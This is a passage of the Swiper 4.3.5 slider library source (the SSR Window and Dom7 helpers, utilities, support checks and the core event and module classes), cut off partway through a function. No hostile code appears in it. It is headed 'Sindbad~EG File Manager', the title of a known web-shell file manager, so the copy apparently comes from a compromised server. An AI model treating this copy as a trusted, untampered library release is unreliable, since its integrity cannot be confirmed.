Sindbad~EG File Manager
/**
* Swiper 4.3.5
* Most modern mobile touch slider and framework with hardware accelerated transitions
* http://www.idangero.us/swiper/
*
* Copyright 2014-2018 Vladimir Kharlampidi
*
* Released under the MIT License
*
* Released on: July 31, 2018
*/
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined'
? (module.exports = factory())
: typeof define === 'function' && define.amd
? define(factory)
: (global.Swiper = factory());
})(this, function () {
'use strict';
/**
* SSR Window 1.0.1
* Better handling for window object in SSR environment
* https://github.com/nolimits4web/ssr-window
*
* Copyright 2018, Vladimir Kharlampidi
*
* Licensed under MIT
*
* Released on: July 18, 2018
*/
var doc =
typeof document === 'undefined'
? {
body: {},
addEventListener: function addEventListener() {},
removeEventListener: function removeEventListener() {},
activeElement: {
blur: function blur() {},
nodeName: '',
},
querySelector: function querySelector() {
return null;
},
querySelectorAll: function querySelectorAll() {
return [];
},
getElementById: function getElementById() {
return null;
},
createEvent: function createEvent() {
return {
initEvent: function initEvent() {},
};
},
createElement: function createElement() {
return {
children: [],
childNodes: [],
style: {},
setAttribute: function setAttribute() {},
getElementsByTagName: function getElementsByTagName() {
return [];
},
};
},
location: { hash: '' },
}
: document; // eslint-disable-line
var win =
typeof window === 'undefined'
? {
document: doc,
navigator: {
userAgent: '',
},
location: {},
history: {},
CustomEvent: function CustomEvent() {
return this;
},
addEventListener: function addEventListener() {},
removeEventListener: function removeEventListener() {},
getComputedStyle: function getComputedStyle() {
return {
getPropertyValue: function getPropertyValue() {
return '';
},
};
},
Image: function Image() {},
Date: function Date() {},
screen: {},
setTimeout: function setTimeout() {},
clearTimeout: function clearTimeout() {},
}
: window; // eslint-disable-line
/**
* Dom7 2.0.7
* Minimalistic JavaScript library for DOM manipulation, with a jQuery-compatible API
* http://framework7.io/docs/dom.html
*
* Copyright 2018, Vladimir Kharlampidi
* The iDangero.us
* http://www.idangero.us/
*
* Licensed under MIT
*
* Released on: June 14, 2018
*/
var Dom7 = function Dom7(arr) {
var self = this;
// Create array-like object
for (var i = 0; i < arr.length; i += 1) {
self[i] = arr[i];
}
self.length = arr.length;
// Return collection with methods
return this;
};
function $(selector, context) {
var arr = [];
var i = 0;
if (selector && !context) {
if (selector instanceof Dom7) {
return selector;
}
}
if (selector) {
// String
if (typeof selector === 'string') {
var els;
var tempParent;
var html = selector.trim();
if (html.indexOf('<') >= 0 && html.indexOf('>') >= 0) {
var toCreate = 'div';
if (html.indexOf('<li') === 0) {
toCreate = 'ul';
}
if (html.indexOf('<tr') === 0) {
toCreate = 'tbody';
}
if (
html.indexOf('<td') === 0 ||
html.indexOf('<th') === 0
) {
toCreate = 'tr';
}
if (html.indexOf('<tbody') === 0) {
toCreate = 'table';
}
if (html.indexOf('<option') === 0) {
toCreate = 'select';
}
tempParent = doc.createElement(toCreate);
tempParent.innerHTML = html;
for (i = 0; i < tempParent.childNodes.length; i += 1) {
arr.push(tempParent.childNodes[i]);
}
} else {
if (
!context &&
selector[0] === '#' &&
!selector.match(/[ .<>:~]/)
) {
// Pure ID selector
els = [
doc.getElementById(selector.trim().split('#')[1]),
];
} else {
// Other selectors
els = (context || doc).querySelectorAll(
selector.trim()
);
}
for (i = 0; i < els.length; i += 1) {
if (els[i]) {
arr.push(els[i]);
}
}
}
} else if (
selector.nodeType ||
selector === win ||
selector === doc
) {
// Node/element
arr.push(selector);
} else if (selector.length > 0 && selector[0].nodeType) {
// Array of elements or instance of Dom
for (i = 0; i < selector.length; i += 1) {
arr.push(selector[i]);
}
}
}
return new Dom7(arr);
}
$.fn = Dom7.prototype;
$.Class = Dom7;
$.Dom7 = Dom7;
function unique(arr) {
var uniqueArray = [];
for (var i = 0; i < arr.length; i += 1) {
if (uniqueArray.indexOf(arr[i]) === -1) {
uniqueArray.push(arr[i]);
}
}
return uniqueArray;
}
// Classes and attributes
function addClass(className) {
var this$1 = this;
if (typeof className === 'undefined') {
return this;
}
var classes = className.split(' ');
for (var i = 0; i < classes.length; i += 1) {
for (var j = 0; j < this.length; j += 1) {
if (
typeof this$1[j] !== 'undefined' &&
typeof this$1[j].classList !== 'undefined'
) {
this$1[j].classList.add(classes[i]);
}
}
}
return this;
}
function removeClass(className) {
var this$1 = this;
var classes = className.split(' ');
for (var i = 0; i < classes.length; i += 1) {
for (var j = 0; j < this.length; j += 1) {
if (
typeof this$1[j] !== 'undefined' &&
typeof this$1[j].classList !== 'undefined'
) {
this$1[j].classList.remove(classes[i]);
}
}
}
return this;
}
function hasClass(className) {
if (!this[0]) {
return false;
}
return this[0].classList.contains(className);
}
function toggleClass(className) {
var this$1 = this;
var classes = className.split(' ');
for (var i = 0; i < classes.length; i += 1) {
for (var j = 0; j < this.length; j += 1) {
if (
typeof this$1[j] !== 'undefined' &&
typeof this$1[j].classList !== 'undefined'
) {
this$1[j].classList.toggle(classes[i]);
}
}
}
return this;
}
function attr(attrs, value) {
var arguments$1 = arguments;
var this$1 = this;
if (arguments.length === 1 && typeof attrs === 'string') {
// Get attr
if (this[0]) {
return this[0].getAttribute(attrs);
}
return undefined;
}
// Set attrs
for (var i = 0; i < this.length; i += 1) {
if (arguments$1.length === 2) {
// String
this$1[i].setAttribute(attrs, value);
} else {
// Object
// eslint-disable-next-line
for (var attrName in attrs) {
this$1[i][attrName] = attrs[attrName];
this$1[i].setAttribute(attrName, attrs[attrName]);
}
}
}
return this;
}
// eslint-disable-next-line
function removeAttr(attr) {
var this$1 = this;
for (var i = 0; i < this.length; i += 1) {
this$1[i].removeAttribute(attr);
}
return this;
}
function data(key, value) {
var this$1 = this;
var el;
if (typeof value === 'undefined') {
el = this[0];
// Get value
if (el) {
if (
el.dom7ElementDataStorage &&
key in el.dom7ElementDataStorage
) {
return el.dom7ElementDataStorage[key];
}
var dataKey = el.getAttribute('data-' + key);
if (dataKey) {
return dataKey;
}
return undefined;
}
return undefined;
}
// Set value
for (var i = 0; i < this.length; i += 1) {
el = this$1[i];
if (!el.dom7ElementDataStorage) {
el.dom7ElementDataStorage = {};
}
el.dom7ElementDataStorage[key] = value;
}
return this;
}
// Transforms
// eslint-disable-next-line
function transform(transform) {
var this$1 = this;
for (var i = 0; i < this.length; i += 1) {
var elStyle = this$1[i].style;
elStyle.webkitTransform = transform;
elStyle.transform = transform;
}
return this;
}
function transition(duration) {
var this$1 = this;
if (typeof duration !== 'string') {
duration = duration + 'ms'; // eslint-disable-line
}
for (var i = 0; i < this.length; i += 1) {
var elStyle = this$1[i].style;
elStyle.webkitTransitionDuration = duration;
elStyle.transitionDuration = duration;
}
return this;
}
// Events
function on() {
var this$1 = this;
var assign;
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
var eventType = args[0];
var targetSelector = args[1];
var listener = args[2];
var capture = args[3];
if (typeof args[1] === 'function') {
(assign = args),
(eventType = assign[0]),
(listener = assign[1]),
(capture = assign[2]);
targetSelector = undefined;
}
if (!capture) {
capture = false;
}
function handleLiveEvent(e) {
var target = e.target;
if (!target) {
return;
}
var eventData = e.target.dom7EventData || [];
if (eventData.indexOf(e) < 0) {
eventData.unshift(e);
}
if ($(target).is(targetSelector)) {
listener.apply(target, eventData);
} else {
var parents = $(target).parents(); // eslint-disable-line
for (var k = 0; k < parents.length; k += 1) {
if ($(parents[k]).is(targetSelector)) {
listener.apply(parents[k], eventData);
}
}
}
}
function handleEvent(e) {
var eventData = e && e.target ? e.target.dom7EventData || [] : [];
if (eventData.indexOf(e) < 0) {
eventData.unshift(e);
}
listener.apply(this, eventData);
}
var events = eventType.split(' ');
var j;
for (var i = 0; i < this.length; i += 1) {
var el = this$1[i];
if (!targetSelector) {
for (j = 0; j < events.length; j += 1) {
var event = events[j];
if (!el.dom7Listeners) {
el.dom7Listeners = {};
}
if (!el.dom7Listeners[event]) {
el.dom7Listeners[event] = [];
}
el.dom7Listeners[event].push({
listener: listener,
proxyListener: handleEvent,
});
el.addEventListener(event, handleEvent, capture);
}
} else {
// Live events
for (j = 0; j < events.length; j += 1) {
var event$1 = events[j];
if (!el.dom7LiveListeners) {
el.dom7LiveListeners = {};
}
if (!el.dom7LiveListeners[event$1]) {
el.dom7LiveListeners[event$1] = [];
}
el.dom7LiveListeners[event$1].push({
listener: listener,
proxyListener: handleLiveEvent,
});
el.addEventListener(event$1, handleLiveEvent, capture);
}
}
}
return this;
}
function off() {
var this$1 = this;
var assign;
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
var eventType = args[0];
var targetSelector = args[1];
var listener = args[2];
var capture = args[3];
if (typeof args[1] === 'function') {
(assign = args),
(eventType = assign[0]),
(listener = assign[1]),
(capture = assign[2]);
targetSelector = undefined;
}
if (!capture) {
capture = false;
}
var events = eventType.split(' ');
for (var i = 0; i < events.length; i += 1) {
var event = events[i];
for (var j = 0; j < this.length; j += 1) {
var el = this$1[j];
var handlers = void 0;
if (!targetSelector && el.dom7Listeners) {
handlers = el.dom7Listeners[event];
} else if (targetSelector && el.dom7LiveListeners) {
handlers = el.dom7LiveListeners[event];
}
if (handlers && handlers.length) {
for (var k = handlers.length - 1; k >= 0; k -= 1) {
var handler = handlers[k];
if (listener && handler.listener === listener) {
el.removeEventListener(
event,
handler.proxyListener,
capture
);
handlers.splice(k, 1);
} else if (!listener) {
el.removeEventListener(
event,
handler.proxyListener,
capture
);
handlers.splice(k, 1);
}
}
}
}
}
return this;
}
function trigger() {
var this$1 = this;
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
var events = args[0].split(' ');
var eventData = args[1];
for (var i = 0; i < events.length; i += 1) {
var event = events[i];
for (var j = 0; j < this.length; j += 1) {
var el = this$1[j];
var evt = void 0;
try {
evt = new win.CustomEvent(event, {
detail: eventData,
bubbles: true,
cancelable: true,
});
} catch (e) {
evt = doc.createEvent('Event');
evt.initEvent(event, true, true);
evt.detail = eventData;
}
// eslint-disable-next-line
el.dom7EventData = args.filter(function (data, dataIndex) {
return dataIndex > 0;
});
el.dispatchEvent(evt);
el.dom7EventData = [];
delete el.dom7EventData;
}
}
return this;
}
function transitionEnd(callback) {
var events = ['webkitTransitionEnd', 'transitionend'];
var dom = this;
var i;
function fireCallBack(e) {
/* jshint validthis:true */
if (e.target !== this) {
return;
}
callback.call(this, e);
for (i = 0; i < events.length; i += 1) {
dom.off(events[i], fireCallBack);
}
}
if (callback) {
for (i = 0; i < events.length; i += 1) {
dom.on(events[i], fireCallBack);
}
}
return this;
}
function outerWidth(includeMargins) {
if (this.length > 0) {
if (includeMargins) {
// eslint-disable-next-line
var styles = this.styles();
return (
this[0].offsetWidth +
parseFloat(styles.getPropertyValue('margin-right')) +
parseFloat(styles.getPropertyValue('margin-left'))
);
}
return this[0].offsetWidth;
}
return null;
}
function outerHeight(includeMargins) {
if (this.length > 0) {
if (includeMargins) {
// eslint-disable-next-line
var styles = this.styles();
return (
this[0].offsetHeight +
parseFloat(styles.getPropertyValue('margin-top')) +
parseFloat(styles.getPropertyValue('margin-bottom'))
);
}
return this[0].offsetHeight;
}
return null;
}
function offset() {
if (this.length > 0) {
var el = this[0];
var box = el.getBoundingClientRect();
var body = doc.body;
var clientTop = el.clientTop || body.clientTop || 0;
var clientLeft = el.clientLeft || body.clientLeft || 0;
var scrollTop = el === win ? win.scrollY : el.scrollTop;
var scrollLeft = el === win ? win.scrollX : el.scrollLeft;
return {
top: box.top + scrollTop - clientTop,
left: box.left + scrollLeft - clientLeft,
};
}
return null;
}
function styles() {
if (this[0]) {
return win.getComputedStyle(this[0], null);
}
return {};
}
function css(props, value) {
var this$1 = this;
var i;
if (arguments.length === 1) {
if (typeof props === 'string') {
if (this[0]) {
return win
.getComputedStyle(this[0], null)
.getPropertyValue(props);
}
} else {
for (i = 0; i < this.length; i += 1) {
// eslint-disable-next-line
for (var prop in props) {
this$1[i].style[prop] = props[prop];
}
}
return this;
}
}
if (arguments.length === 2 && typeof props === 'string') {
for (i = 0; i < this.length; i += 1) {
this$1[i].style[props] = value;
}
return this;
}
return this;
}
// Iterate over the collection passing elements to `callback`
function each(callback) {
var this$1 = this;
// Don't bother continuing without a callback
if (!callback) {
return this;
}
// Iterate over the current collection
for (var i = 0; i < this.length; i += 1) {
// If the callback returns false
if (callback.call(this$1[i], i, this$1[i]) === false) {
// End the loop early
return this$1;
}
}
// Return `this` to allow chained DOM operations
return this;
}
// eslint-disable-next-line
function html(html) {
var this$1 = this;
if (typeof html === 'undefined') {
return this[0] ? this[0].innerHTML : undefined;
}
for (var i = 0; i < this.length; i += 1) {
this$1[i].innerHTML = html;
}
return this;
}
// eslint-disable-next-line
function text(text) {
var this$1 = this;
if (typeof text === 'undefined') {
if (this[0]) {
return this[0].textContent.trim();
}
return null;
}
for (var i = 0; i < this.length; i += 1) {
this$1[i].textContent = text;
}
return this;
}
function is(selector) {
var el = this[0];
var compareWith;
var i;
if (!el || typeof selector === 'undefined') {
return false;
}
if (typeof selector === 'string') {
if (el.matches) {
return el.matches(selector);
} else if (el.webkitMatchesSelector) {
return el.webkitMatchesSelector(selector);
} else if (el.msMatchesSelector) {
return el.msMatchesSelector(selector);
}
compareWith = $(selector);
for (i = 0; i < compareWith.length; i += 1) {
if (compareWith[i] === el) {
return true;
}
}
return false;
} else if (selector === doc) {
return el === doc;
} else if (selector === win) {
return el === win;
}
if (selector.nodeType || selector instanceof Dom7) {
compareWith = selector.nodeType ? [selector] : selector;
for (i = 0; i < compareWith.length; i += 1) {
if (compareWith[i] === el) {
return true;
}
}
return false;
}
return false;
}
function index() {
var child = this[0];
var i;
if (child) {
i = 0;
// eslint-disable-next-line
while ((child = child.previousSibling) !== null) {
if (child.nodeType === 1) {
i += 1;
}
}
return i;
}
return undefined;
}
// eslint-disable-next-line
function eq(index) {
if (typeof index === 'undefined') {
return this;
}
var length = this.length;
var returnIndex;
if (index > length - 1) {
return new Dom7([]);
}
if (index < 0) {
returnIndex = length + index;
if (returnIndex < 0) {
return new Dom7([]);
}
return new Dom7([this[returnIndex]]);
}
return new Dom7([this[index]]);
}
function append() {
var this$1 = this;
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
var newChild;
for (var k = 0; k < args.length; k += 1) {
newChild = args[k];
for (var i = 0; i < this.length; i += 1) {
if (typeof newChild === 'string') {
var tempDiv = doc.createElement('div');
tempDiv.innerHTML = newChild;
while (tempDiv.firstChild) {
this$1[i].appendChild(tempDiv.firstChild);
}
} else if (newChild instanceof Dom7) {
for (var j = 0; j < newChild.length; j += 1) {
this$1[i].appendChild(newChild[j]);
}
} else {
this$1[i].appendChild(newChild);
}
}
}
return this;
}
function prepend(newChild) {
var this$1 = this;
var i;
var j;
for (i = 0; i < this.length; i += 1) {
if (typeof newChild === 'string') {
var tempDiv = doc.createElement('div');
tempDiv.innerHTML = newChild;
for (j = tempDiv.childNodes.length - 1; j >= 0; j -= 1) {
this$1[i].insertBefore(
tempDiv.childNodes[j],
this$1[i].childNodes[0]
);
}
} else if (newChild instanceof Dom7) {
for (j = 0; j < newChild.length; j += 1) {
this$1[i].insertBefore(
newChild[j],
this$1[i].childNodes[0]
);
}
} else {
this$1[i].insertBefore(newChild, this$1[i].childNodes[0]);
}
}
return this;
}
function next(selector) {
if (this.length > 0) {
if (selector) {
if (
this[0].nextElementSibling &&
$(this[0].nextElementSibling).is(selector)
) {
return new Dom7([this[0].nextElementSibling]);
}
return new Dom7([]);
}
if (this[0].nextElementSibling) {
return new Dom7([this[0].nextElementSibling]);
}
return new Dom7([]);
}
return new Dom7([]);
}
function nextAll(selector) {
var nextEls = [];
var el = this[0];
if (!el) {
return new Dom7([]);
}
while (el.nextElementSibling) {
var next = el.nextElementSibling; // eslint-disable-line
if (selector) {
if ($(next).is(selector)) {
nextEls.push(next);
}
} else {
nextEls.push(next);
}
el = next;
}
return new Dom7(nextEls);
}
function prev(selector) {
if (this.length > 0) {
var el = this[0];
if (selector) {
if (
el.previousElementSibling &&
$(el.previousElementSibling).is(selector)
) {
return new Dom7([el.previousElementSibling]);
}
return new Dom7([]);
}
if (el.previousElementSibling) {
return new Dom7([el.previousElementSibling]);
}
return new Dom7([]);
}
return new Dom7([]);
}
function prevAll(selector) {
var prevEls = [];
var el = this[0];
if (!el) {
return new Dom7([]);
}
while (el.previousElementSibling) {
var prev = el.previousElementSibling; // eslint-disable-line
if (selector) {
if ($(prev).is(selector)) {
prevEls.push(prev);
}
} else {
prevEls.push(prev);
}
el = prev;
}
return new Dom7(prevEls);
}
function parent(selector) {
var this$1 = this;
var parents = []; // eslint-disable-line
for (var i = 0; i < this.length; i += 1) {
if (this$1[i].parentNode !== null) {
if (selector) {
if ($(this$1[i].parentNode).is(selector)) {
parents.push(this$1[i].parentNode);
}
} else {
parents.push(this$1[i].parentNode);
}
}
}
return $(unique(parents));
}
function parents(selector) {
var this$1 = this;
var parents = []; // eslint-disable-line
for (var i = 0; i < this.length; i += 1) {
var parent = this$1[i].parentNode; // eslint-disable-line
while (parent) {
if (selector) {
if ($(parent).is(selector)) {
parents.push(parent);
}
} else {
parents.push(parent);
}
parent = parent.parentNode;
}
}
return $(unique(parents));
}
function closest(selector) {
var closest = this; // eslint-disable-line
if (typeof selector === 'undefined') {
return new Dom7([]);
}
if (!closest.is(selector)) {
closest = closest.parents(selector).eq(0);
}
return closest;
}
function find(selector) {
var this$1 = this;
var foundElements = [];
for (var i = 0; i < this.length; i += 1) {
var found = this$1[i].querySelectorAll(selector);
for (var j = 0; j < found.length; j += 1) {
foundElements.push(found[j]);
}
}
return new Dom7(foundElements);
}
function children(selector) {
var this$1 = this;
var children = []; // eslint-disable-line
for (var i = 0; i < this.length; i += 1) {
var childNodes = this$1[i].childNodes;
for (var j = 0; j < childNodes.length; j += 1) {
if (!selector) {
if (childNodes[j].nodeType === 1) {
children.push(childNodes[j]);
}
} else if (
childNodes[j].nodeType === 1 &&
$(childNodes[j]).is(selector)
) {
children.push(childNodes[j]);
}
}
}
return new Dom7(unique(children));
}
function remove() {
var this$1 = this;
for (var i = 0; i < this.length; i += 1) {
if (this$1[i].parentNode) {
this$1[i].parentNode.removeChild(this$1[i]);
}
}
return this;
}
function add() {
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
var dom = this;
var i;
var j;
for (i = 0; i < args.length; i += 1) {
var toAdd = $(args[i]);
for (j = 0; j < toAdd.length; j += 1) {
dom[dom.length] = toAdd[j];
dom.length += 1;
}
}
return dom;
}
var Methods = {
addClass: addClass,
removeClass: removeClass,
hasClass: hasClass,
toggleClass: toggleClass,
attr: attr,
removeAttr: removeAttr,
data: data,
transform: transform,
transition: transition,
on: on,
off: off,
trigger: trigger,
transitionEnd: transitionEnd,
outerWidth: outerWidth,
outerHeight: outerHeight,
offset: offset,
css: css,
each: each,
html: html,
text: text,
is: is,
index: index,
eq: eq,
append: append,
prepend: prepend,
next: next,
nextAll: nextAll,
prev: prev,
prevAll: prevAll,
parent: parent,
parents: parents,
closest: closest,
find: find,
children: children,
remove: remove,
add: add,
styles: styles,
};
Object.keys(Methods).forEach(function (methodName) {
$.fn[methodName] = Methods[methodName];
});
var Utils = {
deleteProps: function deleteProps(obj) {
var object = obj;
Object.keys(object).forEach(function (key) {
try {
object[key] = null;
} catch (e) {
// no getter for object
}
try {
delete object[key];
} catch (e) {
// something got wrong
}
});
},
nextTick: function nextTick(callback, delay) {
if (delay === void 0) delay = 0;
return setTimeout(callback, delay);
},
now: function now() {
return Date.now();
},
getTranslate: function getTranslate(el, axis) {
if (axis === void 0) axis = 'x';
var matrix;
var curTransform;
var transformMatrix;
var curStyle = win.getComputedStyle(el, null);
if (win.WebKitCSSMatrix) {
curTransform = curStyle.transform || curStyle.webkitTransform;
if (curTransform.split(',').length > 6) {
curTransform = curTransform
.split(', ')
.map(function (a) {
return a.replace(',', '.');
})
.join(', ');
}
// Some old versions of Webkit choke when 'none' is passed; pass
// empty string instead in this case
transformMatrix = new win.WebKitCSSMatrix(
curTransform === 'none' ? '' : curTransform
);
} else {
transformMatrix =
curStyle.MozTransform ||
curStyle.OTransform ||
curStyle.MsTransform ||
curStyle.msTransform ||
curStyle.transform ||
curStyle
.getPropertyValue('transform')
.replace('translate(', 'matrix(1, 0, 0, 1,');
matrix = transformMatrix.toString().split(',');
}
if (axis === 'x') {
// Latest Chrome and webkits Fix
if (win.WebKitCSSMatrix) {
curTransform = transformMatrix.m41;
}
// Crazy IE10 Matrix
else if (matrix.length === 16) {
curTransform = parseFloat(matrix[12]);
}
// Normal Browsers
else {
curTransform = parseFloat(matrix[4]);
}
}
if (axis === 'y') {
// Latest Chrome and webkits Fix
if (win.WebKitCSSMatrix) {
curTransform = transformMatrix.m42;
}
// Crazy IE10 Matrix
else if (matrix.length === 16) {
curTransform = parseFloat(matrix[13]);
}
// Normal Browsers
else {
curTransform = parseFloat(matrix[5]);
}
}
return curTransform || 0;
},
parseUrlQuery: function parseUrlQuery(url) {
var query = {};
var urlToParse = url || win.location.href;
var i;
var params;
var param;
var length;
if (typeof urlToParse === 'string' && urlToParse.length) {
urlToParse =
urlToParse.indexOf('?') > -1
? urlToParse.replace(/\S*\?/, '')
: '';
params = urlToParse.split('&').filter(function (paramsPart) {
return paramsPart !== '';
});
length = params.length;
for (i = 0; i < length; i += 1) {
param = params[i].replace(/#\S+/g, '').split('=');
query[decodeURIComponent(param[0])] =
typeof param[1] === 'undefined'
? undefined
: decodeURIComponent(param[1]) || '';
}
}
return query;
},
isObject: function isObject(o) {
return (
typeof o === 'object' &&
o !== null &&
o.constructor &&
o.constructor === Object
);
},
extend: function extend() {
var args = [],
len$1 = arguments.length;
while (len$1--) args[len$1] = arguments[len$1];
var to = Object(args[0]);
for (var i = 1; i < args.length; i += 1) {
var nextSource = args[i];
if (nextSource !== undefined && nextSource !== null) {
var keysArray = Object.keys(Object(nextSource));
for (
var nextIndex = 0, len = keysArray.length;
nextIndex < len;
nextIndex += 1
) {
var nextKey = keysArray[nextIndex];
var desc = Object.getOwnPropertyDescriptor(
nextSource,
nextKey
);
if (desc !== undefined && desc.enumerable) {
if (
Utils.isObject(to[nextKey]) &&
Utils.isObject(nextSource[nextKey])
) {
Utils.extend(to[nextKey], nextSource[nextKey]);
} else if (
!Utils.isObject(to[nextKey]) &&
Utils.isObject(nextSource[nextKey])
) {
to[nextKey] = {};
Utils.extend(to[nextKey], nextSource[nextKey]);
} else {
to[nextKey] = nextSource[nextKey];
}
}
}
}
}
return to;
},
};
var Support = (function Support() {
var testDiv = doc.createElement('div');
return {
touch:
(win.Modernizr && win.Modernizr.touch === true) ||
(function checkTouch() {
return !!(
'ontouchstart' in win ||
(win.DocumentTouch && doc instanceof win.DocumentTouch)
);
})(),
pointerEvents: !!(win.navigator.pointerEnabled || win.PointerEvent),
prefixedPointerEvents: !!win.navigator.msPointerEnabled,
transition: (function checkTransition() {
var style = testDiv.style;
return (
'transition' in style ||
'webkitTransition' in style ||
'MozTransition' in style
);
})(),
transforms3d:
(win.Modernizr && win.Modernizr.csstransforms3d === true) ||
(function checkTransforms3d() {
var style = testDiv.style;
return (
'webkitPerspective' in style ||
'MozPerspective' in style ||
'OPerspective' in style ||
'MsPerspective' in style ||
'perspective' in style
);
})(),
flexbox: (function checkFlexbox() {
var style = testDiv.style;
var styles = 'alignItems webkitAlignItems webkitBoxAlign msFlexAlign mozBoxAlign webkitFlexDirection msFlexDirection mozBoxDirection mozBoxOrient webkitBoxDirection webkitBoxOrient'.split(
' '
);
for (var i = 0; i < styles.length; i += 1) {
if (styles[i] in style) {
return true;
}
}
return false;
})(),
observer: (function checkObserver() {
return (
'MutationObserver' in win || 'WebkitMutationObserver' in win
);
})(),
passiveListener: (function checkPassiveListener() {
var supportsPassive = false;
try {
var opts = Object.defineProperty({}, 'passive', {
// eslint-disable-next-line
get: function get() {
supportsPassive = true;
},
});
win.addEventListener('testPassiveListener', null, opts);
} catch (e) {
// No support
}
return supportsPassive;
})(),
gestures: (function checkGestures() {
return 'ongesturestart' in win;
})(),
};
})();
var SwiperClass = function SwiperClass(params) {
if (params === void 0) params = {};
var self = this;
self.params = params;
// Events
self.eventsListeners = {};
if (self.params && self.params.on) {
Object.keys(self.params.on).forEach(function (eventName) {
self.on(eventName, self.params.on[eventName]);
});
}
};
var staticAccessors = { components: { configurable: true } };
SwiperClass.prototype.on = function on(events, handler, priority) {
var self = this;
if (typeof handler !== 'function') {
return self;
}
var method = priority ? 'unshift' : 'push';
events.split(' ').forEach(function (event) {
if (!self.eventsListeners[event]) {
self.eventsListeners[event] = [];
}
self.eventsListeners[event][method](handler);
});
return self;
};
SwiperClass.prototype.once = function once(events, handler, priority) {
var self = this;
if (typeof handler !== 'function') {
return self;
}
function onceHandler() {
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
handler.apply(self, args);
self.off(events, onceHandler);
}
return self.on(events, onceHandler, priority);
};
SwiperClass.prototype.off = function off(events, handler) {
var self = this;
if (!self.eventsListeners) {
return self;
}
events.split(' ').forEach(function (event) {
if (typeof handler === 'undefined') {
self.eventsListeners[event] = [];
} else {
self.eventsListeners[event].forEach(function (
eventHandler,
index
) {
if (eventHandler === handler) {
self.eventsListeners[event].splice(index, 1);
}
});
}
});
return self;
};
SwiperClass.prototype.emit = function emit() {
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
var self = this;
if (!self.eventsListeners) {
return self;
}
var events;
var data;
var context;
if (typeof args[0] === 'string' || Array.isArray(args[0])) {
events = args[0];
data = args.slice(1, args.length);
context = self;
} else {
events = args[0].events;
data = args[0].data;
context = args[0].context || self;
}
var eventsArray = Array.isArray(events) ? events : events.split(' ');
eventsArray.forEach(function (event) {
if (self.eventsListeners && self.eventsListeners[event]) {
var handlers = [];
self.eventsListeners[event].forEach(function (eventHandler) {
handlers.push(eventHandler);
});
handlers.forEach(function (eventHandler) {
eventHandler.apply(context, data);
});
}
});
return self;
};
SwiperClass.prototype.useModulesParams = function useModulesParams(
instanceParams
) {
var instance = this;
if (!instance.modules) {
return;
}
Object.keys(instance.modules).forEach(function (moduleName) {
var module = instance.modules[moduleName];
// Extend params
if (module.params) {
Utils.extend(instanceParams, module.params);
}
});
};
SwiperClass.prototype.useModules = function useModules(modulesParams) {
if (modulesParams === void 0) modulesParams = {};
var instance = this;
if (!instance.modules) {
return;
}
Object.keys(instance.modules).forEach(function (moduleName) {
var module = instance.modules[moduleName];
var moduleParams = modulesParams[moduleName] || {};
// Extend instance methods and props
if (module.instance) {
Object.keys(module.instance).forEach(function (modulePropName) {
var moduleProp = module.instance[modulePropName];
if (typeof moduleProp === 'function') {
instance[modulePropName] = moduleProp.bind(instance);
} else {
instance[modulePropName] = moduleProp;
}
});
}
// Add event listeners
if (module.on && instance.on) {
Object.keys(module.on).forEach(function (moduleEventName) {
instance.on(moduleEventName, module.on[moduleEventName]);
});
}
// Module create callback
if (module.create) {
module.create.bind(instance)(moduleParams);
}
});
};
staticAccessors.components.set = function (components) {
var Class = this;
if (!Class.use) {
return;
}
Class.use(components);
};
SwiperClass.installModule = function installModule(module) {
var params = [],
len = arguments.length - 1;
while (len-- > 0) params[len] = arguments[len + 1];
var Class = this;
if (!Class.prototype.modules) {
Class.prototype.modules = {};
}
var name =
module.name ||
Object.keys(Class.prototype.modules).length + '_' + Utils.now();
Class.prototype.modules[name] = module;
// Prototype
if (module.proto) {
Object.keys(module.proto).forEach(function (key) {
Class.prototype[key] = module.proto[key];
});
}
// Class
if (module.static) {
Object.keys(module.static).forEach(function (key) {
Class[key] = module.static[key];
});
}
// Callback
if (module.install) {
module.install.apply(Class, params);
}
return Class;
};
SwiperClass.use = function use(module) {
var params = [],
len = arguments.length - 1;
while (len-- > 0) params[len] = arguments[len + 1];
var Class = this;
if (Array.isArray(module)) {
module.forEach(function (m) {
return Class.installModule(m);
});
return Class;
}
return Class.installModule.apply(Class, [module].concat(params));
};
Object.defineProperties(SwiperClass, staticAccessors);
function updateSize() {
var swiper = this;
var width;
var height;
var $el = swiper.$el;
if (typeof swiper.params.width !== 'undefined') {
width = swiper.params.width;
} else {
width = $el[0].clientWidth;
}
if (typeof swiper.params.height !== 'undefined') {
height = swiper.params.height;
} else {
height = $el[0].clientHeight;
}
if (
(width === 0 && swiper.isHorizontal()) ||
(height === 0 && swiper.isVertical())
) {
return;
}
// Subtract paddings
width =
width -
parseInt($el.css('padding-left'), 10) -
parseInt($el.css('padding-right'), 10);
height =
height -
parseInt($el.css('padding-top'), 10) -
parseInt($el.css('padding-bottom'), 10);
Utils.extend(swiper, {
width: width,
height: height,
size: swiper.isHorizontal() ? width : height,
});
}
function updateSlides() {
var swiper = this;
var params = swiper.params;
var $wrapperEl = swiper.$wrapperEl;
var swiperSize = swiper.size;
var rtl = swiper.rtlTranslate;
var wrongRTL = swiper.wrongRTL;
var isVirtual = swiper.virtual && params.virtual.enabled;
var previousSlidesLength = isVirtual
? swiper.virtual.slides.length
: swiper.slides.length;
var slides = $wrapperEl.children('.' + swiper.params.slideClass);
var slidesLength = isVirtual
? swiper.virtual.slides.length
: slides.length;
var snapGrid = [];
var slidesGrid = [];
var slidesSizesGrid = [];
var offsetBefore = params.slidesOffsetBefore;
if (typeof offsetBefore === 'function') {
offsetBefore = params.slidesOffsetBefore.call(swiper);
}
var offsetAfter = params.slidesOffsetAfter;
if (typeof offsetAfter === 'function') {
offsetAfter = params.slidesOffsetAfter.call(swiper);
}
var previousSnapGridLength = swiper.snapGrid.length;
var previousSlidesGridLength = swiper.snapGrid.length;
var spaceBetween = params.spaceBetween;
var slidePosition = -offsetBefore;
var prevSlideSize = 0;
var index = 0;
if (typeof swiperSize === 'undefined') {
return;
}
if (
typeof spaceBetween === 'string' &&
spaceBetween.indexOf('%') >= 0
) {
spaceBetween =
(parseFloat(spaceBetween.replace('%', '')) / 100) * swiperSize;
}
